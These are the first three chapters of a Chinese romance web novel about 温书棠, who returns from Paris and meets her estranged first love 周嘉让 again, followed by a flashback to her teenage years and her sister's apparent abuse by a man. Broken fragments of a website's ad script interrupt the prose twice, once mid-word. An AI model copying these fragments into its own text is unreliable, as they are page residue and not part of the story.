《暗恋雨至》 1. 回国 暗恋雨至 文/冬宜 2024.9.22 【暗恋是场不会停的雨,你撑伞而过,留我满身潮湿。——温书棠日记】 - 八月末,暑气刚过,一连三天,京北都浸在蒙蒙细雨里。 外头天色灰暗,拢着层层叠叠的铅云,舷窗上水痕交错,空气里满是让人心烦的燥意。 最里面的座位上,温书棠捧着新一期的《Les Echos》,读大学时,他们那个金发碧眼的外教总喜欢用它做精读材料,成篇的生词难句,至少要熬两个通宵才能啃完,导致那几年她看见这个就觉得头疼,如今倒有兴致拿来打发时间。 翻开新的一页,Economie板块,目光落在顶端,放大加粗的头条新闻,讲的是某家医疗领域的科技公司,于三月前研发出一款超声诊断系统,突破了传统超声波束合成在成像空间分辨力和时间分辨力的技术限制,能够更为精准地评估心脏的解剖结构。 还没来得及细看,头顶广播突然响起,播报飞机已经平稳落地,提醒旅客注意安全,检查携带好随身物品。 这趟航班由巴黎到京北,中间又在香港转机,前后十几个小时的旅途,温书棠合上杂志,揉了揉略为僵硬的肩膀,垂下眼眸,习惯性地去瞥那只卡在手腕处的腕表。 下午三点,比预计抵达提前了二十分钟。 客舱逐渐变得喧闹,周围人纷纷起身,温书棠跟在最后,等从廊桥里出来,才去拿口袋里的手机,下拉关掉飞行模式。 加载框转了两圈,通知栏上跳出新的消息。 【楚怡:棠棠姐,我已经到啦。】 【楚怡:在T2出口这边等你哦。】 后面还跟着一个可爱的小表情。 温书棠回她一句好,到转盘处取走行李,然后挤过人群,朝T2口的方向走去。 机场年前重修过,地形复杂程度不亚于迷宫,温书棠来回绕了几次,也没看见冯楚怡的身影。 刚准备发消息问问,就听见有人在身后叫自己。 “棠棠姐!” 温书棠循声回头,几个月不见,小姑娘染了头极具个性的粉发,紧身T配工装裤,是她一向喜欢的甜酷风格。 冯楚怡迎面跑过来,张开双臂,送她一个热情的拥抱:“棠棠姐,你总算是回国了。” “再不回来,我就要被Chloé折磨死了。” 冯楚怡是她的直系学妹,又都在学生会的外联部门,读书时关系就不错,后面她毕业工作,没过多久,冯楚怡也通过考核,进入Transline的法语组,机缘巧合之下,成为她带的第一批实习生。 她出国这段时间,冯楚怡被分到了另一个项目组,Chloé就是她的新任mentor。 温书棠摸摸她头发,弯唇笑了下:“有那么夸张吗?” “当然有!”冯楚怡苦着一张脸,像朵被霜打落了的花,闷闷地和她抱怨,“上周五有个文件,Léo都说我翻得很好了,可还是被她打回重做了整整四次!” “再这样下去,估计我都熬不过实习期,更别想着转正了。” “不会的。”温书棠安慰她,嗓音温软,“Chloé虽然严格了点,但能力真的很强,在她那能学到不少东西。” “慢慢来嘛,大家都是这样过来的。” 冯楚怡悻悻叹了口气。 她这情绪来得快,去得更快,上一秒还沉浸在被辞退的焦虑中,下一秒已经换了话题:“棠棠姐,你怎么瘦了这么多?” “是不是白人饭太难吃了?” “没有吧。”温书棠眨了眨眼,“半个月前才称过,好像还重了一点。” “不过白人饭真的很难吃。”她对此深表赞同。 寒暄过后,两人朝外面走,冯楚怡和她讲起这几个月公司发生的事,说隔壁组那对情侣在闹分手,又说新对接的客户有多么难伺候。 “哦对了!还有一个超级无敌坏消息!” 听她这严肃的口气,温书棠心都跟着发紧:“什么?” “公司楼下那家药膳鸡,上周不幸关门大吉了,换成了一家又贵又难吃的轻食店!” 温书棠微怔:“啊…?” 毫不夸张,确实是坏消息。 Transline所在的CBD,向来被大家称为美食荒漠,物美价廉的店并不多,药膳鸡算是很难得的一个。 每次温书棠碰上加班,饥肠辘辘地从公司出来,最喜欢光顾的就是那里。 她默默心痛了半分钟,手机嗡嗡震动,又有新消息进来。 【学长:落地了吗?】 温书棠在键盘上敲字:【嗯,刚下飞机。】 那边回的很快,聊天框里弹出一条几秒钟的语音。 清润的男声从听筒中传来,大概是在外面,背景隐约有些杂音,但也盖不住他语气里的关心:“那我现在过去接你?” 几缕碎发散下,拂在脸颊很痒,温书棠抬手捋到耳后,抿了抿嘴唇:【不用了学长,我叫了车,你忙你自己的事情就好。】 对方没多坚持,发来一句叮嘱:【那路上注意安全,到家给我发个消息。】 【My:知道了。】 刚摁灭屏幕,冯楚怡满脸期待地凑过来,明明用的是问句,言语里却满是肯定:“是言之哥吗?他要来机场接我们?” 温书棠捏她脸颊:“学长很忙的,就不麻烦他了,一会我们打车回。” 冯楚怡耸耸肩膀:“好吧。” “不过——”她把声音压低一点,眼角眉梢都是八卦,“棠棠姐,言之哥对你好上心哦。” “有吗?”温书棠不在意地笑笑,“学长对身边人都挺好的。” “不不不。”冯楚怡没被她糊弄过去,“这可不一样。” “你还不知道吧?就上个月,言之哥刚升了市场部的经理。” 她抱住温书棠手臂,拖长语调,意有所指地暗示:“年轻有为,家境殷实,外貌又出众,棠棠姐,我觉得他挺不错的。” 温书棠失笑,随口打趣:“那你努努力?” “什么嘛!”冯楚怡瞪大眼睛,在她肩膀上轻拍,把话题拉回正轨,“言之哥的心思,大家都看得出来,你真的不——” “真的没什么。”温书棠接上她的话,态度坚定,“你们别多想,我和学长就只是朋友。” 冯楚怡并不死心:“朋友怎么了!朋友也可以慢慢发展为恋人啊!” “楚怡。”温书棠无奈地笑了下,“你不明白。” “而且……我现在只想好好工作,暂时没兴趣考虑这些。” 冯楚怡只得作罢,静了几秒又偏头看她。 温书棠今天穿的是浅色长裙,外面搭配同色系的针织,头发用发簪随意挽起,露出一截纤瘦白皙的脖颈。 柳叶眉,鹅蛋脸,杏眼盈盈,很典型的江南长相,清冷中带着些许温婉,像是工笔渲染出的水墨画,不加任何修饰,就足以引人注意。 她们认识也有三四年的光景,温书棠长得漂亮,性格又好,身边不乏优秀的追求者,可她好像从没对谁心动过。 冯楚怡鼓鼓腮帮,忍不住好奇:“棠棠姐,你到底喜欢什么样的男生啊?” 温书棠眼神暗了瞬,如蝴蝶羽翼般纤长的睫毛轻轻颤抖着。 就这样安静了半分钟,她才慢吞吞地开口,勉强挤出一点笑:“我也不知道。” …… 看着她的表情,冯楚怡没再继续,转头说自己有些口渴,想去旁边的便利店买瓶水喝。 “棠棠姐,你要喝点什么吗?” “不用了。” 长途旅程所带来的疲惫感,后知后觉在身体中蔓延开来,温书棠靠在墙边,头颈低下,盯着地面发呆。 刚才那个问题不受控制地在耳边回荡。 到底喜欢什 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么样的男生? 记忆闸门被打开,眼前浮现出一张桀骜凌厉的面孔。 人们都说时间能淡忘一切,可熬过无数个难眠的夜晚后,她才无可奈何地发现,有些人天生就是例外。 他的每一寸模样都深深印在脑海,她记得他漆黑的眼瞳,记得他眼角的泪痣,记得他利落的短发,还有漫不经心的笑容。 教学楼,图书馆,停电的器材室,躲雨的便利店。 数不清的过往,如同老电影一般,一帧一帧地自动播放起来。 只不过……再也回不去了。 偌大的候机厅,人群往来骚动,不远处孩童的哭闹声,打断了她的胡思乱想。 温书棠揉了下眼尾,慢慢呼出一口气。 她抬起头,想看看冯楚怡那边的情况,但下一秒,呼吸却猛然一窒。 梦里上演过无数次的场景,就这么毫无预兆地出现在眼前。 时间在这一刻静止,温书棠也被定格在原地。 十几米之外,男人倚在栏杆旁边,身形颀长,姿态懒散,神色中噙着几分倦怠。 他单穿一件黑色衬衫,单薄布料勾勒出劲瘦的腰线,领口肆意敞开,露出来的锁骨深邃,脖颈修长,依稀可见上面微凸的青筋。 几经世事雕琢,他褪去了年少时的青涩,轮廓线条更为硬朗,五官也更具有攻击性。 额发松散,半遮住眉眼,皮肤很白,在暗色的衬托下,多了几分疏离与冷冽。 隔着重重人影,他的侧脸时暗时清,叫人不由得怀疑,这是不是一场臆想出的幻影,可眨眨眼,又发现他的存在无比真实。 外边雨下得更大了。 周遭水汽弥散,顺着毛孔钻进身体,连带心口都被氲出潮湿。 指尖掐进掌心,留下几道月牙形的痕迹,脑袋像被塞上乱麻,温书棠不停在想,他们到底多久没见过面了。 八年。 四季更迭轮回,居然分开了八个年头。 更可悲的是,时隔八年,她依然能在茫茫人海中,精准捕捉到他的身影。 就像是某种刻在基因里的本能。 男人换了个姿势,低头在看手机,不知收到了什么消息,眉头忽然拧的很紧。 他似乎有些不耐,骨节分明的手指,带着力度在屏幕上敲点,起起落落,仿佛也敲在她的心里。 他是在等人吗? 猜测在脑海中盘踞,不过三秒,她便得到了答案。 广播声与喧嚣声交杂,伴随着雨水的淅沥,在这混乱的杂音中,她分辨出一声清晰的、明朗的—— “周嘉让!” 被叫到的人懒懒抬头,仍然是那副淡漠表情,只是渐渐舒展开的眉宇,化作一把无形的利刃,直直刺进她心底最柔软的地方。 温书棠想,如果再来一次,她一定要反复祈祷,航班没有提前落地。 她干涩地眨眼,努力忍住酸意,然后随他一起看去。 出站口的方向,迎面走来一抹倩影,长卷发,吊带裙,红唇张扬,身材曼妙,像是盛放的玫瑰,明艳至极。 她举起手臂,朝他招手示意。 仿佛砾石碾过心脏,细细密密都是痛意,温书棠心悸得厉害,难受到喘不上气。 看着女生一步步靠近,她觉得自己应该离开,可偏偏又像自虐一般,站在原地不肯动弹。 闪电撕破天幕,雷鸣将理智唤醒。 在她走到他身边的前一秒,她终于狼狈地转过身,掌心用力按住胸口,像条濒临死亡的鱼,拼命地汲取氧气。 不知谁的手机响起,来电铃声倒是应了此情此景—— “人理所当然地忘记,是谁风里雨里一直默默守护在原地。” 温书棠垂下眼睫,露出一个苦涩的笑。 是啊。 他们本就是两条轨道上的人,阴差阳错产生了一段交集,如今经年已过,谁还会傻傻地等在原地。 2. 昵称 冯楚怡拎着果汁从便利店出来,远远看见温书棠靠在墙边,脸色白到透明,表情也算不上好看。 她吓了一跳,连忙过去把人扶住:“棠棠姐,你还好吗?” “是哪里不舒服吗?” 温书棠回神,深吸一口气,艰难地摇了摇头:“……没事。” 她声音特别轻,还带着几分压制不住的颤意:“我去趟洗手间。” …… 洁白光亮的瓷砖,倒映出一道清瘦的身影,温书棠双手撑在理石台面上,头埋得很低,脊背处的蝴蝶骨瘦削向外凸起。 凉意顺着掌心蔓延,流经身体的每一处,仿佛要将血液都凝冻。 思绪依旧混乱,她努力让自己从刚才的场景中抽离,可闭上眼睛,脑海中全都是那两个人的模样。 她其实并未看见什么,但就是不受控制地脑补更多。 那是他的女朋友吗? 他们在一起有多久了? 他…… 算了。 这些早就和她没有关系了。 当年他话说得决绝,分散时又闹得难看,就算现在有了新欢,那也是再正常不过的事情。 她不过是他人生中的意外,是不值得留恋和回忆的插曲,侥幸陪他走完那段时光后,就变成记忆中轻描淡写的一笔。 仅此而已。 温书棠拧开水龙头,接起冷水拍在脸上。 她没有用纸擦干,由着水珠从脸颊滑落,好像这样,就能带走她全部的失控与难过。 - 另一边。 高跟鞋与地面碰撞出清脆声响,应茜走到周嘉让身旁,空气里很快多了一股甜腻的香水气。 周嘉让掀眸,语气不善:“迟到了整整二十分钟。” 应茜把长发勾到耳后,忍不住开始吐槽:“今天加州大暴雨,航班没取消就已经是个奇迹了,刚起飞又遇上强气流,颠得我差点以为自己要交代在上面了。” 周嘉让漠不关心地冷笑了下。 “要怪也只能怪你自己。”应茜没好气地瞥他一眼,“连喘口气的时间都不给我,非得今天过来拿东西,就不能多等几天啊。” 周嘉让淡淡开口,嗓音低哑:“忙。” 应茜:“……” 怎么不忙死你呢。 她翻了个白眼,从手提包里拿出一沓文件:“给你,上次的检查报告。” “具体情况Kevin都写在上面了,总体来说比之前好了不少,但还是有几项指标不太正常,有时间记得来我这里复查。” 周嘉让没什么语调的嗯了声,接过报告,低头随意翻动着。 应茜想起什么,眉梢微扬,抱着手臂揶揄他:“你这回国也有两三个月了,进展怎么样啊。” “不顾Kevin的建议,千里迢迢地追回来,见到人家了吗?” 手上的动作微顿,很快又恢复如常,周嘉让抬眼看她,表情不见波澜,但周遭气场却倏得冷了几分。 “你很闲?” 应茜早已习惯他这副臭脸,一双凤眼笑得妩媚:“我这不是关心一下患者的近况吗。” 周嘉让轻嗤一声,转身丢下两个字:“走了。” “诶?”看着男人离去的背影,应茜难以置信地拔高语调,“走了?” “我飞了十几个小时,刚落地就来给你送东西,连行李都没来得及取,周嘉让你就这么走了?” “怎么说也得把我送回家吧?” 周嘉让脚步没停,吊儿郎当地回答:“不好意思啊。” “我的车,不载除了女朋友之外的人。” 应茜:“……” - 刚走出机场,冯楚怡接了通电话,导师说她上周交的那篇论文需要大改,让她尽快回学校一趟。 晴天霹雳般的消息,冯楚怡苦起一张脸,如临大敌:“不是吧……之前都通过了,怎么又要改。” 温书棠拍拍她肩膀,感同身受地安慰:“导师的想法就是很难猜,记得有一次,我改稿改到凌晨两点,刚准备关电脑,突然收到反馈说选题不行,全部都要重写。” “啊?这也太绝望了吧。” “是啊,熬了好多个通宵才勉强赶完。” “真希望能快点毕业。”冯楚怡低声祈祷着,转而开始担心她,“不过棠棠姐,你一个人可以吗?” 想起她刚才的不对劲,小姑娘忧虑地直皱眉:“要不还是让言之哥来接你吧?” “我真的没事。”温书棠摇摇头,“就是前几天有点忙,时差还没调节过来,又在路上折腾了一通,回家休息一下就好了。” 她揉了揉冯楚怡的头发:“快去学校吧,别让老师等太久,到了之后给我发个消息。” 手机接连震动,导师在那边催人,冯楚怡这才妥协地点点头:“那好吧。” 可她仍然放心不下,直到分开之前,还一个劲地叮嘱温书棠,叫她千万不要逞强,有什么事一定要和她讲。 温书棠牵起唇角,笑着和她保证:“知道啦。” …… 雨势逐渐增大,腾起的白雾将街景都模糊。 被风吹斜的雨滴落上脚踝,挟来丝丝缕缕的凉意,温书棠忍不住瑟缩了下,牙齿轻轻咬在唇内的细肉上。 纤细指尖在屏幕上滑动,几个叫车软件被她来回切换,但却没有半点进展。 红色加粗的字体提醒她,前方排队三十六位,预计要等待五十七分钟。 京北的交通一向糟糕,这应该还是最理想的速度。 今天运气真的好差。 耐心即将告罄,温书棠无声叹气,思考要不要乘地铁回去。 虽然中途要转两站,但总比在这浪费时间好得多,而且还没有堵车的风险。 犹豫片刻,她终于做出决定,拉起行李箱,打算折回地铁站。 就在她迈出脚步的前一秒,面前缓缓驶来一辆黑色SUV,紧接着,耳边响起两声短促的鸣笛。 陈言之从车上下来,撑一把黑伞到她身边。 温书棠没反应过来,愣愣开口:“学长……?” 陈言之朝她笑,言语透着温润:“天气预报说,未来两小时会有大暴雨,我担心你打不到车,想了想还是决定过来看看。” 温书棠眨了下眼,声音很轻:“我坐地铁回去也一样的。” “下雨天地铁会很挤,你一个女孩子,带着这么多东西不方便。”陈言之接过她的行李箱,雨伞偏向她那边,“别在这站着了,先上车吧。” 温书棠不好再推脱,被他用伞护着上了车。 车门关阖,隔绝外面的水汽与燥意。 路况拥堵严重,车辆缓慢地向前行驶,温书棠靠在椅背上,对着车窗上的雨痕出神。 右手拇指有意无意地在腕表的表带上摩挲,这是她习惯性的小动作。 等红灯的间隙,陈言之侧头看她:“巴黎那个项目做的不顺利?” 慢了两秒,温书棠才回答:“没有,都挺好的。” “那是出什么事了,看你一直闷闷不乐的。” “有吗?”温书棠知道自己不擅长伪装,找了个不那么牵强的理由,“可能就是有点累了。” 陈言之没有多问,指尖在方向盘上轻敲:“那我和你们组长说说,让她给你多放几天假,好好休息。” 温书棠浅笑着说好。 怕车上气氛太沉闷,下个路口的时候,陈言之抬起手,在控制屏上点了两下,打开车载电台,刚好是音乐频道。 熟悉的旋律飘出,是周杰伦的那首《不能说的秘密》。 舒缓的钢琴前奏,在外面雨声的衬托下,多了几分柔和,也添了些许哀伤。 “拼命想挽回的从前,在我脸上依旧清晰可见。 最美的不是下雨天,是曾与你躲过雨的屋檐。 ……” 心理学上有个名词,叫做普鲁斯特效应,是说只要闻到曾经闻过的味道,就会开启当时的记忆。 放在音乐上是同样的道理。 温书棠眼睫微颤,一瞬间,好像被拉回十六岁那年冬天。 人群散尽的礼堂,她站在舞台中央,周遭灯光朦胧昏暗,可身旁那个少年却无比耀眼。 像是在逃避什么,她不受控制地伸出手,把音乐切换到下一首。 陈言之注意到她的异常,但也只是问了句:“不喜欢?” 温书棠很模糊地嗯了一下。 不是不喜欢,是不敢再喜欢。 …… 那天晚上,温书棠毫不意外地失眠了。 再一次入睡失败后,她起身从床上下来,捞起一旁的手机,按亮屏幕,上面显示现在是凌晨三点。 外面天黑得彻底,但雨还是没有停,温书棠站在玻璃窗边,看着远处璀璨绚烂的繁华夜景。 她其实不太喜欢京北,不喜欢这里的气候,也不喜欢这里忙碌压抑的节奏,哪怕已经生活了七年,依然找不到半点归属感。 还记得高考成绩出来后,她最初明明选择的是沪市,可就在填报系统关闭的前三分钟,却如同走火入魔一般打开电脑,将第一志愿改成京北大学。 到底是为了什么啊? 疑问如细线般在心头缠绕,细密的眼睫垂下,半晌后,温书棠露出一个苦涩的笑。 她想,也许自己是疯了吧。 分针向后划过三格,她摁了摁眉心,回到床边,拉开床头柜的抽屉,从里面找出之前没吃完的药。 记不清到底是什么时候睡着的,等第二天早上醒来,脑袋像灌了浆糊般昏昏沉沉,四肢肩膀也都酸的厉害。 她没胃口,随便拿了个酸奶当早饭,吃完后坐在沙发上,无所事事地发了好一会呆,最后还是决定去公司上班。 虽然组长给她批了一周假,允许她在家调整状态,但她这人有个坏习惯,空闲下来就会胡思乱想,还不如给自己找点事做。 简单化过妆后,温书棠拿上手提包出门。 冯楚怡在电梯里遇见她,嘴巴惊讶地张成“O”形:“不是吧棠棠姐,你要不要这么卷啊。” 杏眼弯起,温书棠和她开玩笑:“这不是我们外院学子的传统美德吗。” 冯楚怡自愧不如,佩服地朝她竖起大拇指:“公司真应该把最佳劳模奖颁给你。” 四个月没来公司,工位上蒙了薄薄一层灰尘。 温书棠收拾好桌面,用一上午的时间把项目报告写完,仔细检查过后,发到组长的邮箱里。 等处理完其他工作,她才起身去茶水间,给自己泡了一杯咖啡。 不远处的休息区,几个同事正聚在一起聊天。 隔壁西语组的实习生,眼睛哭得通红,说自己暗恋好多年的男生,居然在昨晚官宣了女朋友。 讲起单相思的心酸,她带着湿哒哒的鼻音:“以前课间操的时候,他就站在我斜后面,但我根本不敢看他,只能等到第五节体转运动,才悄悄用余光瞥上几眼。” “要是再勇敢一点就好了,如果我能早点和他表白,是不是会有不一样的结果?” “也不能这么说。”另一个女孩接话,“高三毕业那天,我鼓起勇气叫住暗恋对象,问他能不能拍张合影,结果他想都没想,直截了当地拒绝了我。” “那时我难过了好久,感觉自己的青春彻底结束了。” 提起这个话题,气氛难免有些沉闷,似乎是不约而同想起了年少时曾默默追寻过的那个人。 冯楚怡在旁边安慰了几句,偏头看见温书棠正捧着咖啡发呆。 不知道是没睡好,还是工作消耗的精力太多,她眼尾恹恹地耷着,看起来很没精神。 “棠棠姐。”她碰了碰温书棠手臂,“你想什么呢?” 被点名的温书棠啊了下,慢慢回过神来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,指腹蹭在白瓷杯壁上:“在想……暗恋确实好苦。” 她语气比平时低,情绪也不是很好,实习生试探着问:“棠棠姐,你也有过暗恋的人吗?” 温书棠顿了半晌:“有的。” “读高一那年,我和他不同校,每到周末的时候,都会坐半小时公交车到市中心的图书馆自习,因为那和他们学校只隔了一条街,我想碰碰运气,看他会不会出现在附近。” 有人忍不住追问:“那你们有遇见过吗?” 热气氤散在眼底,氲出阵阵酸意,温书棠摇头,自嘲地扯了扯嘴角:“一次都没有。” “后来我只能安慰自己,或许我们真的没有缘分吧。” “啊……” 场面一时安静下来,最后不知是谁抱怨了句:“太难了,下次再也不要暗恋了。” “聊什么呢?表情怎么都这么严肃?” 伤感氛围被打破,陈言之朝她们这边走来:“姜组长又给你们布置难题了?” “没有。”温书棠否认,“就是随便聊聊。” “正好大家都在,这段时间辛苦了,和你们姜组长打了招呼,一会在Heritage聚餐,我请客。” “哇!Heritage!听说他们家鹅肝特别好吃,我想试很久了!” “陈经理大气啊!” “到底是想请我们吃饭,还是想给棠棠姐接风洗尘——”冯楚怡揽着温书棠,下巴搭在她肩膀上,“学长,你可得如实招来。” 温书棠蹙眉扫她一眼,示意她不要乱开玩笑。 陈言之却承认得坦荡:“都有。” Heritage就在Transline对面,索菲特大楼六层,以高雅舒适的环境和周到细致的服务出名,一行人刚落座,正在商量点些什么,坐在温书棠右侧的女人突然起身,神色里带着几分焦急。 “抱歉啊大家,我可能得先走了。” 温书棠抬起头问:“怎么了李姐?” 被叫做李姐的女人解释:“刚才学校老师给我打电话,说佳佳下课时摔了一跤,一直吵着说头痛,可能是撞到了,我得带她去医院看看。” “先别急。”陈言之也站起来,“我开车送你过去,这样能快一点。” “我也一起吧。”李姐是单亲妈妈,一个人带孩子不容易,温书棠放下手里的菜单,“有什么事也能帮忙照应一下。” 李姐不好意思麻烦他们:“不用……” “没关系的。”温书棠知道她要说什么,抢先一步打断,“走吧。” 车子一路开到医院,陈言之去一楼排队缴费,温书棠则陪着李姐和佳佳到二楼做检查。 大概是昨天吹了冷风,她不慎有些着凉,这会儿鼻子莫名堵得厉害,额头也隐隐开始发烫。 温书棠倚在诊室门边,半阖着眼睛,睫毛落下一层淡淡的阴影。 消毒水的气味冰冷,耳边时不时有脚步声。 手腕忽然覆上一道温度,温书棠以为是李姐,下意识睁开眼,但看清眼前人的模样后,恍若雷电击身,她猛然僵在原地。 她没想到他们会再见面,而且只隔了短短一天。 男人就站在面前,高大身影将她笼住,身上仍是那件黑色衬衫,只是微乱的额发,显得他风尘仆仆。 头顶白炽灯明亮,冷光将立体分明的五官轮廓勾勒清晰。 他眸色很深,像团散不尽的浓雾,里面藏着让人捉摸不透的情绪。 时间停滞片刻,就在怔愣之时,温书棠听见他的声音—— “怎么来医院了?是生病了吗?” 这是分开八年后,他们之间说出的第一句话。 没有歇斯底里,没有争执对峙,而是这样一句再寻常不过的关心。 寻常到,就好像横亘在他们中间的那些时光从未存在,往日那些难堪与折磨只是一场荒诞的梦境。 但这算什么? 当初分明是他先推开自己的。 何况他现在还有新人作陪,又何必来与她这段旧事产生瓜葛。 心口猛缩出一阵刺痛,温书棠移开眼,咬唇忍住鼻酸,然后用力向后挣脱,试图将自己的手抽回。 可周嘉让却不肯放,修长指节收紧力度,他掌心的纹路摩挲上她细腻的皮肤。 退无可退,温书棠嗫嚅着叫出他的名字。 “周嘉让。” 漫天的委屈涌上心头,喉咙好似被堵住,她声线越来越轻:“你松开我……” 看着她渐红的眼眶,心脏仿佛被利剑穿透,周嘉让眉头皱紧,薄唇翕动,过了数秒才发出声音。 “恬恬。” 好久违又陌生的昵称。 温书棠记不清到底有多久没听过别人这样叫自己。 理智徘徊在崩溃边缘,就在她即将承受不住的时候,陈言之的出现让她得到拯救—— “书棠?” 明明叫的是她,周嘉让却先一步抬眸。 看着这个完全陌生的男人,他有一瞬间的失神,手上的力气渐渐松开,温书棠也得以逃脱出来。 她后退一步,将彼此之间的距离拉开,似要同他划清界限。 陈言之也配合着停在她身前,不动声色地挡住周嘉让,垂眸看见她紧锁的眉:“脸色怎么这么差?是不舒服吗?” 温书棠幅度很小地摇了摇头:“费用都交完了吗?” 陈言之轻声嗯着:“都交好了。” 温书棠说了声好,然后用尽最后一点力气:“那我们走吧。” 周嘉让站在原地,像局外人一般,望着两人并肩离去。 直至背影消失在走廊尽处,她都没有回头,甚至余光都没分过来一次。 心像被一只手扼住,碾压出数不清的酸涩与痛苦。 脑海中忽然跳出一个想法,清清楚楚地提醒着他。 他们再也回不去了。 3. 并校 齿轮扭转,时间回到过去。 2014年夏天,烈日当空,热浪炎炎。 暑气就像是牢笼中的困兽,来势汹汹地冲破桎梏,将万物生灵悉数吞噬,只留蝉鸣声交错起伏。 在连续半个月的高温炙烤下,漓江终于迎来一场降雨,街边梧桐被洗刷得湛绿,但这并没能带走空气里枯焦如焚的燥意。 傍晚五点,温书棠把最后一摞书整理好,从市图书馆里出来。 地面还湿漉着,有风吹过,蓄满的水洼泛起涟漪,像是一块被打碎的残镜。 倒影里的女孩穿着棉质长裙,五官柔和,模样安静,黑发随意散在肩后,衬得皮肤白皙干净。 鸣笛声从远处传来,46路公交车停靠到站。 车门缓缓开启,等待两秒,见人没有上车的意思,又朝着下一站加速驶去。 路口信号灯变换,温书棠背着帆布书包,左转拐进后面那条街。 蓝底白字的路牌上写着,碑亭巷51号,漓江市第九中学。 巷口的糖水铺还没关,门外支着个破旧的喇叭,循环喊着桂花酒酿五元一碗。 来往行人很少,偶尔路过几个,也是不约而同的神情慌忙,脚步匆匆朝着各自的目的地赶去。 在这一众身影里,温书棠显得格格不入。 她攥着书包带子,速度放得极慢,清亮的眼在四周反复打量,仿佛是在找寻什么。 一路走到尽头,她转过身,发尾跟随动作扬起,停顿片刻后,步伐更慢地开始了又一次寻觅。 就这样来回徘徊着,第六次经过校门口的时候,温书棠终于停下脚步。 引擎声由远及近,摩托车飞速驶过,垂落的裙角染上污泥,在风中飘动摇曳,宛如一株被打落的栀子。 天阴沉得更厉害,乌云密布,像团散不尽的浓墨。 那个喇叭不知怎么坏了,只剩下滋滋的电流声,和风声一起在耳边呼啸,无休无止。 温书棠望着空荡的街头,眼睫不太明显地颤抖了下,无声在心里叹气。 果不其然。 又是一场徒劳,她没能遇见那个想遇见的人。 沿着石板路,温书棠回到公交站。 下一班46路出现,她跟着人群上车,被挤到最后一排的角落。 漓江的公交车向来颠簸,她抓紧头顶的扶杆,眼神空洞地看着窗外风景飞速掠过。 狭小空间里,闷燥从四面八方袭来,汗味和烟酒味混杂在一起,如同一个密闭的蒸笼,叫人很难喘得上气。 身侧站着两个女生,看起来与她同龄,左边那个语气格外激动,说暗恋许久的那个男生,居然主动加了她的好友。 温书棠静静听着,眨了眨眼,努力压下漫出心口的酸涩和羡慕。 她其实有些搞不懂自己。 明明每次都是相同的结果,明明早已习惯这种一无所获,可为什么还是会不受控制地感到失落。 …… 三十分钟后,车内电子音响起,播报前方即将到达澜椿路。 外面稀稀落落地飘起雨丝,鼻间充斥着潮湿与咸腥,温书棠没有带伞,不自觉加快脚步。 漓江市繁华,可她们这一带却像是被遗忘,褪色破旧的广告招牌,爬满藤蔓的低矮石墙,一砖一瓦都透着腐朽衰败的绝望。 走到楼下,迎面碰上对面楼的李阿姨。 认出是她,女人热情地过来搭话:“棠棠,去哪了这是?” 温书棠轻弯起唇角:“刚从图书馆回来。” “放假了还这么刻苦呀。”小姑娘长得乖,很是招人喜欢,李阿姨捏了捏她脸颊,下一秒又想到自家那个不争气的,表情骤然多了几分嫌弃,“要是我儿子能有你一半省心,我就烧高香了。” “诶对了。”女人话锋一转,将右手提着的纸袋递给温书棠,“我正好要去你们家店呢。” 她解释道:“前天给那臭小子买了几件衣服,尺码不太合适,他穿着有点大,还得麻烦你姐姐帮忙改一下。” 不远处那家白色招牌的裁缝店,就是温书棠姐姐温惠开的,她小时候跟着外婆学过刺绣,手艺还算不错。 客源多为附近的邻居,知道两姐妹不容易,都很照顾她们的生意,收入虽然算不上丰厚,但供给日常开销还是没什么问题。 温书棠接过纸袋:“好,我带回去给姐姐。” “改完给我发个消息就行,不用特意跑过来送。”女人说着,又拿出刚买的茉莉饼,分一半塞到她手里,“回去和你姐姐一块吃。” “不用了阿姨。” “哎呀快拿着吧,就几块糕点,不值钱。” 温书棠推脱几次没能成功,最后柔声道了谢,然后才转身往家走。 推开店门,她把衣服和糕点都放到桌上,对着里面喊了声姐姐,但并没有得到回应。 目光扫了几圈,也没找到温惠的身影。 温书棠觉得奇怪,喃喃自语:“是出去了吗?” 她绕到后面,顺着楼梯上了二层,客厅里的灯没开,黑漆漆的看不清楚,只能听见断断续续的啜泣声,似乎是从卧室那个方向传来的。 心倏得一紧,温书棠连忙过去。 温惠坐在床边,眼圈红得厉害,手臂上多了好几处淤青,房间里也乱糟糟的,柜子的抽屉全部开着,被翻找过的痕迹不容忽视。 温书棠顿时明白这是怎么回事。 没想到她会进来,温惠慌乱地擦掉眼泪,勉强挤出一点笑容:“恬恬回来了啊。” “姐。”温书棠在她身边坐下,开门见山地问,“是不是江伟诚又来闹事了。” 温惠眼神闪躲了下:“没有。” 她下意识把手臂往后藏,语气故作轻松:“是我刚才出门时不小心,没注意到前面的台阶,踩空摔了下。” 温书棠皱起眉心,直截了当地拆穿她:“连带着家里的东西也摔乱了,是这样吗?” 她唇角绷得很紧,态度也比平时更冲,神情里藏着不容置喙的倔强。 温惠垂下眼,声音慢慢变弱:“恬恬……” “……” 气氛静了下去,风肆虐地敲打着玻璃。 温书棠眼眶发涩,她其实不是生气,就是心疼温惠。 她们父亲走得早,没过多久母亲改嫁,两姐妹也被丢到奶奶家。 但奶奶并不喜欢她们,每天都想方设法地为难,温惠为了妹妹能好过一点,自愿辍学去打工,后面干脆带她搬了出来。 其实那年温惠也不过十八岁,可她从来没抱怨过什么,就这样熬了三年多,终于攒出一点钱,盘了楼下那家店面,这才算是安定下来。 本以为日子会越来越好,可是…… 雨势毫无征兆地加大,淅淅沥沥地掩住尘嚣,窗户镀上一层白雾,水汽也湿漉漉地弥散蒸腾。 温惠拉住她的手,轻轻晃了晃她胳膊,试探着问:“真的和姐姐生气啦?” 温书棠摇头,压下心里的难过,吸了一记鼻子,嗓音闷闷的:“……没有。” 她起身到客厅取来药箱,找出消肿化瘀的软膏,挤一点在棉签上,极其轻缓地帮温惠上药。 “疼吗?” 大大小小的淤痕嵌进皮肤,留下触目惊心的青紫色,温书棠心脏都揪在一起:“要不要去医院看看啊?” “不疼。”温惠安慰地笑笑,“就是看着吓人了点。” 可温书棠根本不信,力度不自觉又轻了几分,不放心地嘱咐:“这几天小心一点,就不要提重物了,店里来货的话,等我回来再弄。” “哪有这么娇气啊。”温惠摸摸她头发,笑意加深,“知道我们恬恬懂事,从小到大都心疼姐姐。” 